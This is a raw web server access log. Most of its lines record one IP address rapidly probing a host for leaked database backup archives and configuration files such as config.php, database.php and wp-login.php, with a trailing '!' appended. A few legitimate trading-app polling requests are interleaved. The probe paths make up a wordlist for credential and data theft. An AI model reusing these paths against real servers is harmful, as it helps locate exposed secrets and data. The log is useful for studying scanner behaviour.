[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php! HTTP/1.1" 196
[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php! HTTP/1.1" 196
[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php! HTTP/1.1" 196
[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php! HTTP/1.1" 196
[09/Jan/2026:10:59:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927836236 HTTP/1.1" -
[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php! HTTP/1.1" 196
[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php! HTTP/1.1" 196
[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php! HTTP/1.1" 196
[09/Jan/2026:10:59:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php! HTTP/1.1" 196
[09/Jan/2026:10:59:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927823353 HTTP/1.1" -
[09/Jan/2026:10:59:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927826417 HTTP/1.1" -
[09/Jan/2026:10:59:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:59:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:59:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927842223 HTTP/1.1" -
[09/Jan/2026:10:59:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927828400 HTTP/1.1" -
[09/Jan/2026:10:59:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927831523 HTTP/1.1" -
[09/Jan/2026:10:59:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php! HTTP/1.1" 196
[09/Jan/2026:10:59:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config! HTTP/1.1" 196
[09/Jan/2026:10:59:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php! HTTP/1.1" 196
[09/Jan/2026:10:59:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php! HTTP/1.1" 196
[09/Jan/2026:10:59:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php! HTTP/1.1" 196
[09/Jan/2026:10:59:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php! HTTP/1.1" 196
[09/Jan/2026:10:59:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:59:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php! HTTP/1.1" 196
[09/Jan/2026:10:59:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php! HTTP/1.1" 196
[09/Jan/2026:10:59:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927833419 HTTP/1.1" -
[09/Jan/2026:10:59:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php! HTTP/1.1" 196
[09/Jan/2026:10:59:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml! HTTP/1.1" 196
[09/Jan/2026:10:59:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927848236 HTTP/1.1" -
[09/Jan/2026:10:59:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php! HTTP/1.1" 196
[09/Jan/2026:10:59:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php! HTTP/1.1" 196
[09/Jan/2026:10:59:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php! HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927836583 HTTP/1.1" -
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php! HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini! HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php! HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php! HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php! HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php! HTTP/1.1" 196
[09/Jan/2026:10:59:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php! HTTP/1.1" 196
[09/Jan/2026:10:59:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:59:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:59:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php! HTTP/1.1" 196
[09/Jan/2026:10:59:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php! HTTP/1.1" 196
[09/Jan/2026:10:59:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php! HTTP/1.1" 196
[09/Jan/2026:10:59:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php! HTTP/1.1" 196
[09/Jan/2026:10:59:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php! HTTP/1.1" 196
[09/Jan/2026:10:59:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php! HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php! HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php! HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php! HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php! HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php! HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php! HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config! HTTP/1.1" 196
[09/Jan/2026:10:59:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak! HTTP/1.1" 196
[09/Jan/2026:10:59:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:59:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php! HTTP/1.1" 196
